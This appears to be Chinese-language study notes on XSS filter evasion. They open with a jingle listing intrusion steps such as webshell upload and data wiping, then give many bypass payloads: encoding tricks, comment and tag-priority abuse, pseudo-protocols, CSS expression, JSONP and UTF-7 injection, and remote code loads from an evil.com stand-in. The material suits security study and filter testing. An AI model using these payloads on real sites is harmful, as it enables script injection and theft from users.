渗透三字经
进谷歌 找注入
没注入 就旁注
没旁注 用0day
没0day 猜目录
没目录 就嗅探
拿不下 去自杀
爆账户 找后台
传小马 放大马
拿权限 挂页面
放暗链 清数据
T00ls老哥给的渗透三字经233333,有意思。
有些安全问题的罪魁祸首是字符集的使用(即字符集编码与解码)不正确导致的,字符集本身也有一些问题,比如,各原因导致字符集之间的交集分歧。
肉眼看到的一个文字或符号单元就是一个字符(包括乱码),一个字符可能对应 1~n字节, 1 字节为 8 位,每一位要么为 1,要么为 0。
一个字符对应 1~n 字节是由字符集与编码决定的,比如, ASCII 字符集就是一个字符对应 1 字节,不过 1 字节只用了 7 位,最高位用于其他目的,所以 ASCII 字符集共有 2 的7 次方(128)个字符,基本就是键盘上的英文字符(包括控制符)。
字符集大都对应一种编码方式(比如 GBK 字符集对应了 GBK 编码),不过Unicode 字符集的编码方式有 UTF-8、UTF-16、UTF-32、UTF-7,常见的是 UTF-8 与 UTF-7。
编码的目的是最终将这些字符正确地转换为计算机可理解的二进制,对应的解码就是将二进制最终解码为人类可读的字符。
GB2312、 GBK、 GB18030、 BIG5、 Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃 ASCII 字符(一字节)的现象。
UTF-7 是 Unicode 字符集的一种编码方式,不过并非是标准推荐的,现在仅 IE 浏览器还支持 UTF-7 的解析。
IE 浏览器历史上出现以下好几类 UTF-7 XSS。
历史上所有的浏览器在处理字符集编码时都出现过 BUG,这类安全问题大多是模糊测试出来的。
有一点需要特别说明的是:标准总是过于美好,比如字符集标准,但是每个浏览器在实施这些标准时不一定就能很好地实施,所以不要轻信它们不会出现 BUG。
主要是 IE 和 Chrome 两大浏览器拥有 XSS Filter 机制,不可能有完美的过滤器,从历史上看,它们被绕过很多次,同时也越来越完善,但是总会有被绕过的可能性,绕过的方式同样可以通过 fuzzing 技巧来寻找。
XSS Filter 主要针对反射型 XSS,大体上采用的都是一种启发式的检测,根据用户提交的参数判断是否是潜在的 XSS 特征,并重新渲染响应内容保证潜在的 XSS 特征不会触发。
如果目标网页存在响应头部 CRLF 注入,在 HTTP 响应头注入回车换行符,就可以注入头部:
X-XSS-Protection: 0
用于关闭 XSS Filter 机制,这也是一种绕过方式。
针对同域的白名单机制不是绕过,而是浏览器的性质,这种性质给反射型XSS 的利用提供了便利。
1. IE 的同域白名单
IE 会判断 Referer 来源是否是本域,如果是,则 XSS Filter 不生效
比如, xss.php 的代码如下:
content:<?php echo $_GET['x'] ?>
referer:<?php echo $_SERVER['HTTP_REFERER'] ?>
如果直接请求:
http://www.foo.com/xss.php?x=<script>alert(1)</script>
会被 IE XSS Filter 拦截下来,如果是通过同域内的<a>链接点击过来的,或者<iframe>直接嵌入,由于 Referer 来源是同域,此时 XSS Filter 不生效,代码如下:
<a href="xss.php?x=<script>alert(1)</script>" target="_blank">xxxxxxxxxxx</a>
<iframe src=xss.php?x=%3Cscript%3Ealert(1)%3C/script%3E></iframe>
<!--原来一直不知道markdown编辑器支持HTML解析到底会有什么作用,直到刚刚上面代码被解析构成攻击。。。。QAQ-->
2. Chrome 的同域白名单
Chrome 的同域白名单机制和 IE 完全不一样,用法如下:
http://www.foo.com/xss.php?x=<scriptsrc=alert.js></script>
如果是<script>
嵌入同域内的 js 文件, XSS Filter 就不会防御,这个受 CSP 策略(CSP 参考 10.1.2 )的影响。
<script>
var a='[userinput]';
...
</script>
提交 xxx.php?userinput=';alert(123)//
,得到如下语句:
<script>
var a='';alert(123)//';
...
</script>
对于这样的场景, Chrome 的 XSS Filter 便无法有效地防御, IE 却可以。
http://www.foo.com/xss.php?x=<script %00%00%00>alert(1)</script>
<?php echo $_GET['x'] ?>
原因是: %00 会被 PHP 转义为\0, IE XSS Filter 估计就因此被绕过,最终的输出结果是:
<script \0\0\0>alert(1)</script>
在实际的跨站中,往往不能随心所欲地注入代码,因为可能会有各种无法预料的过滤,有可能某些特殊字符被校验,或某些关键词被过滤,从而导致代码不能够正常执行。为了提高漏洞挖掘的成功率,经常需要对各种代码进行混淆,以绕过过滤机制。
在浏览器中常用的进制混淆有八进制、十进制和十六进制。
8
来表示,用&和#作为前缀,中间为十进制数字,使用半角分号(;)作为后缀,其中后缀也可以没有。Z
表示,比十进制多了个 x,进制码中也多了 a~f 这 6 个字符来表示 10~15,其中后缀也可以没有,而且 x 和 a~f 这几个字符大小写不敏感。
CSS 的属性中,也只能用到十进制和十六进制, CSS 兼容 HTML 中的进制表示形式,除此之外,十六进制还可以使用\6c 的形式来表示,即使用斜线作为进制数值前缀。
在 JavaScript 中可以直接通过 eval 执行的字符串有八进制和十六进制两种编码方式,其中八进制用\56
表示,十六进制用\x5c
表示。
需要注意的是,这两种表示方式不能够直接给多字节字符编码(如汉字、韩文等),如果代码中应用了汉字并且需要进行进制编码,那么只能进行十六进制 Unicode 编码,其表示形式为: \u4ee3\u7801
(“代码”二字的十六进制编码)。
也会遇到其他一些编码形式,如 URLEncode,以及用进制数值表示 IP的格式等。
JavaScript 自身就带有两个函数可以处理这个事情:
char.toString(jinzhi)
(char 为需要编码的单字, jinzhi 为需要编码的进制,可以填写 2、 8、 10、 16 或其他之类数字)String.fromCharCode(code,jinzhi)
(code 为需要进制解码的数字, jinzhi 为当前数字的进制)。故而,可自行编写个人进制编/解码函数,实例:
var Code = {};
Code.encode = function(str, jinzhi, left, right, digit) {
left = left || "";
right = right || "";
digit = digit || 0;
var ret = "",
bu = 0;
for (i = 0; i < str.length; i++) {
s = str.charCodeAt(i).toString(jinzhi);
bu = digit - String(s).length + 1;
if (bu < 1) bu = 0;
ret += left + new Array(bu).join("0") + s + right;
}
return ret;
};
Code.decode = function(str, jinzhi, for_split, for_replace) {
if (for_replace) {
var re = new RegExp(for_replace, "g");
str = str.replace(re, '');
}
var arr_s = str.split(for_split);
var ret = '';
for (i = 0; i < arr_s.length; i++) {
if (arr_s[i]) ret += String.fromCharCode(parseInt(arr_s[i], jinzhi));
}
return ret;
};
代码中建立了 Code 对象,并为其添加了 encode 和 decode 两个方法。
encode 方法拥有以下 5 个参数:
decode 方法拥有以下 4 个参数:
然后运行下列语句:
Code.encode("Hello", 16, '&#x', ';', 4);
将会编码成如下形式:
Hello
我们再运行下列语句:
Code.decode("Hello",16, ';', '&#x');
将重新解码成: Hello
。
可参考monyer在线加解密 http://monyer.com/demo/monyerjs/
<img src=http://www.baidu.com/img/baidu_sylogo1.gif>
注:解析后为百度Logo
将 img 的属性 src 的值分别转换为十进制和十六进制的效果如下:
<img src=http://www.baidu.com/img/baidu_sylogo1.gif>
<img src=http://www.baidu.com/img/baidu_sylogo1.gif>
注:两种转换后解析仍为百度Logo
证明浏览器自身已经对上述编码做了自动解码
十进制编码设定了其最小位数为 3 位,所以不够 3 位的数值用 0 补充,这在实际的代码混淆中很有用,它可以用来绕过一些站点的过滤器,不过不同的浏览器对所能支持的位数有一定的要求,如IE 只能支持最大 7 位数值,而对 Chrome 来说,设置位数无限制。
于进制方式对字母的大小写不敏感,后缀“;”也不是必需的,并且我们也可
以将常规字符、 十进制编码和十六进制编码字符混合,所以可以将代码混淆成如下形式,
它依然有效:
<img src=http://www.baidu.com/img/baidu_sylogo1.gif>
注:解析依旧成功
<div style="background:red">1</div>
对其进行十进制编码和十六进制编码的效果分别如下:
<div style="background:red;">1</div>
<div style="\62\61\63\6b\67\72\6f\75\6e\64:\0072\0065\0064;">1</div>
<div style="background:red;">1</div>
需要注意的是,如果使用“\62\61”形式进行十六进制编码,那么要注意将 CSS属性名和属性值之间的冒号留出来,否则代码将不会解析。
可以把以上三种编码方式混合到一个字符串中,达到如下效果,代码依旧可以正确执行:
<div style="background:\0072\0065\0064;">1</div>
<script>eval("alert('你好')");</script>
其八进制和十六进制表示的代码如下:
<script>eval("\141\154\145\162\164\50\47\u4f60\u597d\47\51");</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\u4f60\u597d\x27\x29");</script>
中文部分一定要使用 Unicode 的形式,即'\u'加上汉字的十六进制编码。
另外,虽然十进制不能直接通过 eval 来执行,但可以使用 String.fromCharCode 函数先
对数值进行解码,然后传递给 eval 执行,例如:
<script>
eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41,59));
</script>
在 JavaScript 中,有三套编/解码的函数,分别为:
escape 不编码的字符有 69 个:
*、 +、 -、 .、 /、 @、 _、 0~9、 a~z、 A~Z
而且 escape 对 0~255 以外的 unicode 值进行编码时输出%u****
格式。
encodeURI 不编码的字符有 82 个:
!、 #、 $、 &、 '、 (、 )、 *、 +、 ,、 -、 .、 /、 :、 ;、 =、 ?、 @、 _、 ~、 0~9、 a~z、 A~Z
encodeURIComponent 不编码的字符有 71 个:
!、 '、 (、 )、 *、 -、 .、 _、 ~、 0~9、 a~z、 A~Z
可以编写一个函数来使 escape 可以对所有的字符进行编码,代码如下:
var ExEscape = function (str) {
var _a, _b;
var _c = "";
for (var i = 0; i < str.length; i++) {
_a = str.charCodeAt(i);
_b = _a < 256 ? "%" : "%u"; //u 不可以大写
_b = _a < 16 ? "%0" : _b;
_c += _b + _a.toString(16).toUpperCase(); //大小写皆可.toLowerCase()
}
return _c;
}
如此,可以使用eval(unescape(%61%6C%65%72%74%28%31%29));
的形式来绕过过滤器对某些关键词的过滤
完整的 HTML 代码分为:标签名、属性名、属性值、文本、注释。其中,属性可以是 JavaScript 事件、资源链接或 data 对象。当 HTML Filter做过滤时,同样是从这些维度出发的,对这些位置可能出现的 XSS 形式进行过滤,而我们要做的就是使这种过滤手段失效,将代码插入到想要执行的地方。
由于 HTML 语言的松散性和各标签的不同优先级,使得我们可以创造出很多代码混淆
或绕过方式。如 HTML 标签是不区分大小写的,我们可以全部小写:
<script></script>
也可以全部大写或者大小写混合:
<SCRIPT></ScRiPt>
这对代码的运行没有丝毫的影响,但是这样会阻碍过滤器对关键词的识别。另外,由
于现代浏览器对 XHTML 的支持,使得我们可以在某些浏览器的某些版本中插入 XML 代
码、 SVG 代码或未知标签。IE6下可构造如此:
<XSS STYLE="xss:expression(alert('XSS'))">
如果对方站点的 HTML 过滤器是基于黑名单的,很明显, <XSS>
标签不在名单之列,使得插入的代码得以被绕过。我们可以通过 fuzzing 的方式确认究竟哪些标签可用,哪些标签不可用。通常情况下,黑名单的过滤器总会留下漏网之鱼,当然,这类标签都是不常用的标签,例如,以下几个就比较少见:
<isindex PROMPT="click picture" action="javascript:alert(1)" src="http://www.baidu.com/img/baidu_logo.gif" style="width:290;height:171" type="image">
<BGSOUND SRC="javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
也可以尝试分析出过滤器的缺陷进行针对性的绕过,例如,对方的过滤器判断标签的方法为:
/<([^>]+)>.*?<\/([^>]+)>/
那么当我们构造代码为:
<<SCRIPT>alert("XSS");//<</SCRIPT>
就不会被匹配到.
有些过滤器的 HTML Parser 很强大,会判断当前代码段是否存在于注释中,如果是注释,则忽略,这样做的目的是为了维持用户数据的最大完整性,但是却给了我们可乘之机。如有些过滤器的判断注释的方法为:<!--.*-->
,但注释可以这样写: bbb<!-- aaa<!--aaa--> ccc-->bbb
,这样,“ccc
”代码就暴露出来可以执行了。
与之相反,有些 HTML Parser 不关心是否有注释,只关心 HTML 标签、属性、属性
值是否有问题,如标签是否是<script>
,属性是否是 JavaScript 事件,属性值是否是伪协议
等。但是由于注释优先级较高,我们可以构造以下一段代码:
<!--<a href="--><img src=x onerror=alert(1)//">test</a>
扫描器忽略了 HTML 注释后,会认为下面这段是一个完整的 HTML 语句:
<a href="--><img src=x onerror=alert(1)//">test</a>
那么下面这段就被认为是属性 href 的值:
"--><img src=x onerror=alert(1)//"
从而对这段代码进行放行。但实际上对浏览器来说,
<!--<a href="-->
是注释内容,
<img src=x onerror=alert(1)//">
则是一个完整的 img 标签,而 onerror 则成了一个独立的事件属
性得以执行。
另外还有一种特殊的注释: IE HTML 条件控制语句,代码样式如下:
<!--[if IE]>所有的 IE 可识别<![endif]-->
<!--[if IE 6]>仅 IE6 可识别<![endif]-->
<!--[if lt IE 6]> IE6 以及 IE6 以下版本可识别<![endif]-->
<!--[if gte IE 6]> IE6 以及 IE6 以上版本可识别<![endif]-->
这是 IE 所独有的,在其他浏览器看来与普通注释无异,但是在 IE 看来却是可根据条件执行的,这给我们绕过过滤器创造了可乘之机。
如下两种条件语句也是可以在 IE下被解析执行的:
<!--[if]><script>alert(1)</script -->
<!--[if<img src=x onerror=alert(2)//]> -->
在 HTML 语法中有标签优先级的概念,有些标签如<textarea>
、<title>
、<style>
、<script>
、
<xmp>
等具有非常高的优先级,使得其结束标签甚至可以直接中断其他标签的属性:
<title><ahref="</title><img src=x onerror=alert(1)//">
<style><ahref="</style><img src=x onerror=alert(1)//">
如上代码在不分优先级的过滤器看来是一个<title>
或<style>
标签,后面跟了一个<a>
标
签,那么如果标签和属性都是合法属性,代码就会被放行,但是在浏览器看来则是一对
<title>
或<style>
标签和一个<img>
标签,因为<img>
拥有一个自动执行的 onerror 事件属性,
使得我们放在事件中的代码得以执行。从这点看,我们可以认为 HTML 注释本身是一个高
优先级的标签。如果过滤器将如上标签也过滤了,那么我们也可以尝试以下这些方式:
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">
这些都是前人模糊测试的结果,前三种可在 Firefox 和 Webkit 浏览器中执行,第四种
可以在 IE 中执行。如果过滤器是基于黑名单过滤的,那么有可能会忽略这些。
标签相似, HTML 标签中的属性同样也是大小写不敏感的,并且属性值可以用双引
号引起来,也可以用单引号,甚至不用引号在 HTML 语法上也是正确的。而且在 IE 下面
还可以用反引号 ` 来包括属性值,形式分别如下:
<img src="#">(双引号)
<img SRC='#'>(属性名大写、属性值单引号)
<img sRC=# >(属性名大小混合写,属性值不用引号)
<img src=‛#‛>(属性值要用反引号包括)
此外,标签和属性之间、属性名和等号之间、等号和属性值之间可以用空格、换行符(chr(13))、回车符(chr(10))或者 tab(chr(9))等,并且个数不受限制:
=x
onerror=
"alert(1)">
还可以在属性值的头部和
尾部(引号里面)插入系统控制字符,即 ASCII 值为 1~32 这 32 个控制字符,不同的浏览
器都有各自的处理方式,如下语句:
<a  href=" javascript:alert(1)">test</a>
是可以在 IE、 Firefox、 Chrome 下执行的,但语句:
<a  href=" javascript:alert(1)">test</a>
就仅可以在 IE 和 Firefox 下执行。
在使用控制字符时,要有一个预期,期望自己的代码能在哪些浏览器上运行,甚至是哪些浏览器的哪些特定版本上运行。
当利用反射型 XSS 漏洞时,有时输出的变量会出现在 HTML 文本里,利用起来相对容易;有时则会出现在属性值中,我们应想办法先闭合这个属性值,然后要么干脆接着闭合当前标签,要么设置一个可触发事件或自动触发事件属性来执行插入的脚本。
HTML 属性按用途分,大致可以分普通属性、事件属性、资源属性几种。
<font color=<?=$_GET['url']?> />
利用起来就非常简单,使用?url=x%20onerror=alert(1)
就可以使代码执行了,将变
量合到代码中的形式为:
<font color=x onerror=alert(1) />
如果属性值是被引号包括的:
<font color="<?=$_GET['url']?>" />
那么就只能看看能否构造自己的引号将已有的属性闭合:
?url=x"%20onerror=alert(1) //
将变量合到代码中的形式为:
<font color="x" onerror=alert(1) //" />
但如果对方此时连引号也过滤掉了,或者做了 HTMLEncode 转义,那么既没有 XSS
安全隐患,也没有可以利用的方式。不过这里目前至少有两个特例:
<img src="x` `<script>alert(1)</script>"` `>(IE 6)
<img src= alt=" onerror=alert(1)//">(IE、 Firefox、 Chrome、 Opera 等)
<a href="#" onclick="do_some_func(\"<?=$_GET['a']?>\")">test</a>
如,对如上代码构造参数为: ?a=x');alert(1);//或者?a=',alert(1),',那么插入代码后的形式为:
<a href="#" onclick="do_some_func('x');alert(1);//')">test</a>
<a href="#" onclick="do_some_func(",alert(1),")">test</a>
第一段代码将之前的函数闭合,然后构造自己的新代码。第二段代码利用了一个函数可以在另外一个函数中执行的特性,也就是 JavaScript 中所谓的匿名函数。
如果语句是一句话,可以直接写,如果是多句,则需要定义一个匿名方法,语句如下:
<a href="#" onclick="do_some_func('',function(){alert(1); alert(2);} ,'')">test</a>
另外,关于如何将多个语句合并成一个语句,我们在浏览器的进制常识中已经学到,
就是编码。例如, alert(1);alert(2);
的十六进制编码如下:
\x61\x6c\x65\x72\x74\x28\x31\x29\x3b\x61\x6c\x65\x72\x74\x28\x32\x29\x3b
那么就可以构造:
<a href="#" onclick="do_some_func('',eval('\x61\x6c\x65\x72\x74\x28\x31\x29\x3b\x61\x6c\x65\x72\x74\x28\x32\x29\x3b') ,'')">test</a>
HTML 中通过属性定义的事件在执行时会做HTMLDecode 编码,这意味着即便我们的代码被转义成如下形式:
<a href="#" onclick="do_some_func('',alert(1),'')">test</a>
这段代码依旧是可以执行的。被引入变量只有先进行JSEncode编码,再做HTMLEncode
编码,才能彻底防御
http:、 ftp:、 file:、 https:、 javascript:、vbscript:、 mailto:、 data:
等。在这些协议中,有些协议是网络交互协议,用来和远程服务器传输数据时统一格式,如 http:、 https:、 ftp
:等;有些是本地协议,用来调用本地程序执行一些命令,我们一般称后者这种本地协议为伪协议,如 javascript:、 vbscript:、 mailto:、data:
等。由于伪协议可以调用本地程序执行命令这一特点,使得它成为我们在 XSS 中利用的对象。APPLET, EMBED, FRAME, IFRAME, IMG,
INPUT type=image,
XML, A, LINK, AREA,
TABLE\TR\TD\TH 的 BACKGROUND 属性,
BGSOUND, AUDIO, VIDEO, OBJECT, META refresh,SCRIPT, BASE, SOURCE
一个伪协议的声明形式为:协议名:数据,示例如下:
<a href="javascript:alert(1)">test</a>
其中,“javascript”为协议名,冒号“:”作为协议名和数据的分隔符,后面的全部是
数据部分。在最初的浏览器定义中,凡是支持输入链接的地方都是支持伪协议的,也就是
所谓的 IE 6 年代。不过现在由于 XSS 的猖獗,很多浏览器已经把一些被动的(不需要用户
交互,可直接随页面加载触发的) 资源类链接的伪协议支持屏蔽掉了,比如:
<img src="javascript:alert(1)">
也有一些没有屏蔽,比如:
<iframe src="javascript:alert(1)">
由于 IE 6 浏览器在国内的市场份额依旧比较高,即便新版本的浏览器中不能够执行代码,覆盖到 IE 6 的用户对我们的攻击来说也是一次比较成功的 XSS 运用。
目前在 XSS 中常用的伪协议有三个: javascript:、 vbscript:(协议名也可以简写为 vbs:)
和 data:,前两者分别可以执行 JavaScript 脚本和 VBScript 脚本。但是由于 VBScript 是微软
所独有的,所以仅能在 IE 下执行,其他浏览器都不支持,而 IE 还不支持 data 协议。
同 HTML 标签和属性的特点相似,伪协议的协议名也是不区分大小写的,并且跟事件相
仿,数据也可以做自动的 HTMLDecode 解码以及进制解码,所以我们可以有多种利用方法:
<iframe src="jAvAsCRipt:alert('xss')">
<iframe src="javascript:alert("XSS")">
<IFRAME SRC=javascript:alert(String.fromCharCode(88,83,83))>
另外有几个不常用的属性也支持伪协议:
<img dynsrc="javascript:alert('xss')">(IE6)
<img lowsrc="javascript:alert('xss')">(IE6)
<isindex action=javascript:alert(1) type=image>
有时在过滤器仅过滤了 src 和 href 中的伪协议时,我们可以用这种属性绕过。还有一些常用标签的不常见属性:
<input type="image" src="javascript:alert('xss');">
很少有人用到 input 的 type="image"这个属性,这也将成为我们绕过过滤器的突破点。
另一种特殊的 HTML 属性是事件属性,一般以 on 开头,如 onclick、 onmouseover 之类。它继承了普通的 HTML 属性的所有特点:大小写不敏感、引号不敏感等。
浏览器通常支持的一些事件:
如果我们想知道对方的过滤器过滤了哪些事件属性,最简单的方式是用 fuzzing 机制,使用<div on****="aaa">1</div>
的形式将所有的事件都生成出来,然后试探目标站点都过滤了哪些。
也可直接使用 onabcd 这样的假事件属性构造这样一个语句: <div onabcd="aaa">1</div>
,如果连这样的事件都过滤了,说明对方的过滤器可能使用了白名单,或者是把所有以 on 开头的属性全部过滤掉了。
些事件的触发条件相对来说比较复杂,甚至需要其他因素,如数据绑定事件只能在IE 浏览器下被支持,并且还需要有 XML 数据的支持。
有些事件的触发则需要给用户一些诱导因素,如 ondrag 事件需要用户拖动才能触发,但拖动并不是用户的常用动作,此时可以人为设计一个要素,要求用户参与时需要拖动。比如界面劫持,譬如构造图片看起来像是一个 iframe,用户会误以为滚动条是真的,于是向下拖动假的滚动条,然后触发了拖动事件。
CSS 分为选择符、属性名、属性值、规则和声明几部分
@charset "UTF-8";
body{
background:red;
font-size:16px;
}
a{
font-size:14px!important;
}
其中的 body 和 a 为选择符;
background、 font-size 为属性名,后面为属性值;
@charset为规则;
!important 为声明。
能被利用插入 XSS 脚本的地方只有 CSS 资源类属性值和@import 规则,以及一个只能在 IE 浏览器下执行的属性值 expression
与 HTML 类似, CSS 的语法同样对大小写不敏感,属性值对单双引号不敏感,对资源类属性来说, URL 部分的单双引号以及没有引号也都不敏感,并且凡是可以使用空格的地方使用 tab 制表符、回车和换行也都可以被浏览器解析。
与 HTML 的资源类属性类似, CSS 的一些资源类属性的 XSS 利用也是通过伪协议来完成的,这种利用方式目前只能在 IE 下被执行,并且 IE 9 已经可以防御住。
目前来看,这类属性基本上都是设置背景图片的属性,如 background、 background-image、 list-style-image 等。关键字主要有两个:javascript、 vbscript,其用法大致如下:
body{background-image:url('javascript:alert(1)');}
BODY{BACKGROUND-image:URL(JavaSCRIPT:alert(1));}
BODY{BACKGROUND-image:URL(vbscript:msgbox(2));}
li {list-style-image: url("javascript:alert('XSS')");}
CSS 还有一类资源类属性可以嵌入 XML、 CSS 或者 JavaScript,比如 , Firefox2 独有的
-moz-binding、 IE 独有的 behavior 以及规则@import,用法分别如下:
body{-moz-binding:url("http://www.evil.com/xss.xml")}
html{behavior: url(1.htc);}
@import "test.css"
expression 是 IE 所独有的 CSS 属性,其目的就是为了插入一段 JavaScript 代码,示例
如下:
a{text:expression(target="_blank");}
当在 IE 下执行这段 CSS 后,它会给所有的链接都加上 target="_blank"属性。
将“target="_blank"”替换成其他代码,如 alert(1),那么刷新页面后就会不断地弹出窗口。
(expression 中的代码相当于一段 JavaScript 匿名函数在当前页面的生命周期内是不断循环执行的)
UTF7 Encode 和UTF7 Decode。将页面进行 UTF-7 编码,这为混淆我们的代码、绕过对方的过滤器提供了很大便利。
当 XSS 点出现在 JavaScript 代码的变量中时,只要我们可以顺利闭合之前的变量,即可插入代码。
示例:
var a = "[userinput]";
123";alert(1);b="
那么代码效果如下:
var a = "123";alert(1);b="";
a 变量被闭合, alert(1)得以逃脱出来,而 b 变量的存在是为了使语法保持正确。
var a = "123";alert(1);//";
如果对方的站点对[userinput]使用了addslashes
,这样单引号、双引号和反斜线的前面都会增加一条反斜线,使得无法通过直接使用引号来闭合:
var a = "123\";alert(1);//";
var a = "123</script><script>alert(1);</script>";
对 HTML 页面中的 JavaScript 代码来说,</script
>闭合标签具有最高优先级,可以在任何位置中断 JavaScript 代码。所以,在实际的过滤器实现中,事实上还会区分引用变量中是否使用了</script>
闭合标签,如果使用了,则要用反引线做转换“<\/script>
”。另外,还要注意引用变量的数据走向,看能否有 DOM XSS 的可能性。
根据需求的不同, JSON 大体上有两种格式:没有 callback 函数名的裸 Object 形式和有 callback 函数名的参数调用 Object 的形式:
[{"a":"b"}]
callback([{"a":"b:}])
后者的存在主要是为了跨域数据传输的需要,而这个特性通常也成了攻击者跨域获取用户隐私数据的重要渠道.
一些应用为了维持数据接口的定制性,通常会让数据请求方在请求参数中提供 callback 函数名,而不是由数据提供方定制,如请求方发起请求:
get_json.php?id=123&call_back=some_function
数据提供方提供数据的 callback 格式为:
some_function([{'id':123, data:'some_data'}]);
如果恰巧在这个过程中,数据提供方没有对 callback 函数名做安全过滤,并且页面本身也没有对 HTTP 响应头中的 Content-Type 做限制,那么我们便跨域直接对 callback 参数进行利用,输入我们的 XSS 代码,如构造请求:
get_json.php?id=123&call_back=<script>alert(1);</script>
那么数据提供方返回的数据就会成为如下形式:
<script>alert(1);</script>([{'id':123, data:'some_data'}];
由于页面是可访问的,浏览器默认就会当成 HTML 来解析,使得我们的 XSS 得以执行。到目前为止,大约三分之一拥有 callback 的 JSON 数据提供方都可以被利用。而有一部分 JSON 数据提供方则采取过滤的方式防御,大部分是过滤了“<>”这两个字符,使得攻击者没有办法直接构造出 HTML 标签来。
恰巧 callback 函数是处于文件开头,所以直接使用“+/v8”等字符让 IE 浏览器认为
这是一个 UTF-7 编码的文件,之后再将我们的 XSS 代码进行 UTF-7 编码放进来即可(如
前文所说,这种方式已经是历史)。我们编写利用代码为:
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4
(为<script>alert(1)</script>
的 UTF-7 编码)
经过 URL 编码后附在 callback 参数后面:
get_json.php?id=123&callback=%2B%2Fv8%20%2BADw-script%2BAD4-alert(1)%2BADw-%2Fscript%2BAD4
这样数据提供方返回给我我们的数据为:
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4({‘id’=>123,data=>’some_data’});
通过 IE 解析后,就可以认为是 UTF-7 编码,并执行我们构造的语句。
不过还有一部分数据提供方采取了另一种巧妙的防御策略:给 JSON 数据页面 HTTP响应头设置 Content-Type,来使访问该页面时以下载的方式呈现,而不是 HTML 的方式呈现。
但这种防御策略有可能会有两种方式被我们绕过:
- 方式一
看提供方的 Content-Type 设计得够不够好,有些提供方设置的是“text/javascript”,这种 type 在 IE 下是有效的,但是在 Firefox 下,我们构造的代码依旧可以执行。
有些提供方设置的是“text/plain”,这在 Firefox 下是有效的,但是在 IE 下却会执行。
有些甚至把 Content-Type 设置成 zip 的头“application/x-zip-compressed”,但这种Content-Type 对于“http://test/test.php?xss=123”
请求的确是有效的,但是对于“http://test/test.php?xss=<script>alert(1)</script>”
请求,在 IE 下却会失效。
一般认为设置成“application/json”相对来说还是比较有效的,不过根据情形,也有可
突破的可能性.
foo.cgi?id=123&a.html
foo/?id=123&a.html
foo.php/a.html?id=123 (apache 服务器会忽略掉/a.html 去请求 foo.php)
有时虽然可以插入一个 alert(1)这样的代码,但是想插入更多时,发现代码被做了
HTMLEncode 过滤,这时我们可以采用之前提到的方法,进行进制转换后使用 eval 来执行:
eval(String.fromCharCode(97,108,101,114,116,40,49,41,59));
如果对输入的内容有字数限制,我们甚至可以输入 eval(name)来做执行入口,然后在
另一个可控制的页面(如攻击者的网站)放置如下一段代码:
<script>
window.name = "alert('xss')";
locaton.href = "http://www.target.com/xss.php";
</script>
这里利用了 window.name 可以跨域传递的特性。
另一种过滤器情况可能与之相反,没有限制字数,却过滤了大部分函数,如 eval、 alert、http 链接之类,那么我们都可以采取一些手段来绕过过滤器,如用(0)['constructor']['constructor']
来代替 eval,用"h"+"t"+"t"+"p"来绕过简单的链接过滤等
http://utf-8.jp/public/jsfuck.html JsFuck代码混淆
也可以使用 Flash 来绕过过滤器和隐藏我们的脚本内容
<embed allowscriptaccess="always" src="http://www.evil.com/x.swf" />
有的时候,我们注入 URL 时,可以参考如下一些技巧来绕过过滤:
正常: <A HREF="http://66.102.7.147/">XSS</A>
URL 编码: <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">
XSS</A>
十进制: <A HREF="http://1113982867/">XSS</A>
十六进制: <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制: <A HREF="http://0102.0146.0007.00000223/">XSS</A>
混合编码: <A HREF="http://6 6.000146.0x7.147/">XSS</A>
不带 http:协议: <A HREF="//www.google.com/">XSS</A>
最后加个点: <A HREF="http://www.google.com./">XSS</A>
参考 html5sec.org 网站上整理的 CheckList
参考由 Gareth Heyes 主导构建起来的在线 fuzzing 平台(shazzer.co.uk)可以加入这个平台,构建自己的 fuzzing 规则,利用自己的各种浏览器进行模糊测试,从 shazzer 中能发现大量的 XSS 利用点。
Cookie 参数值中不允许有空格存在,所以在需要用到空格的时候要进行编码。
此Cookie XSS价值?
如果仅仅是 Cookie XSS 本身几乎是没价值的,因为攻击者很难事先改写 Cookie。但是如果结合 Gmail 的其他 XSS,比如一个反射型 XSS,这个 Cookie XSS的价值就可以发挥出来。攻击者可以通过这个反射型 XSS 将 Payload 写到 Cookie 中,只要 Cookie 不清除,即使反射型 XSS 被修补了,那么每次用户进入 Gmail 的时候,Cookie XSS 都可以触发,这就留下了一个后门。
一个漏洞的产生与很多因素都有关,譬如浏览器的差异(或者说浏览器特性)、浏览器BUG、字符集问题、漏洞对象、所在场景等。
前端漏洞挖掘主要针对XSS。
CSRF与界面劫持的漏洞本质决定这些漏洞挖掘较为简单。
自动化XSS漏洞挖掘需求有两方面:
- 效率(有了广度,却忽略了深度)
- 检出率(既有广度又有深度,漏洞个数多且准确度高) 如果要检出率,很可能就是实现Fuzzing模式的工具。
效率与检出率是矛盾的通常看到的商业性质漏洞检测平台都会在两者间寻求一平衡点,这种矛盾是业务带来的。
反射型XSS输入点在URL。
<scheme>://<netloc>/<path>?<query>#<fragment>
<!--常见URL组成模式-->
http://www.foo.com/path/f.php?id=1&type=cool#new
<!--标准样例-->
<scheme> - http
<netloc> - www.foo.com
<path> - /path/f.php
<query> - id=1&type=cool,包括<参数名=参数值>对
<fragment> - new
<!--对应关系-->
对于这个URL来说,攻击者可控的输入点有<path> <query> <fragment>
三部分。
http://www.foo.com/path/1/id#new
<!--非标准化样例-->
http://www.foo.com/path/type/cool#new
工具自动化过程中,路径参数的识别非常重要。
路径参数识别——爬虫问题
譬如SEO问题
<fragment>
内的值一般不会出现在服务端解析,除非Web2.0网站,如twitter URL格式:http://twitter.com.evil!#status
而这种结构的URL爬虫难以爬取。
<query>
和<path>
情况类似。以<query>
为例:
看下面一个普通的 URL:
http://www.foo.com/xss.php?id=1
攻击者会这样进行 XSS 测试,将如下 payloads 分别添加到 id=1:
<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1)/>
'"><img/src=@ onerror=alert(1)/>
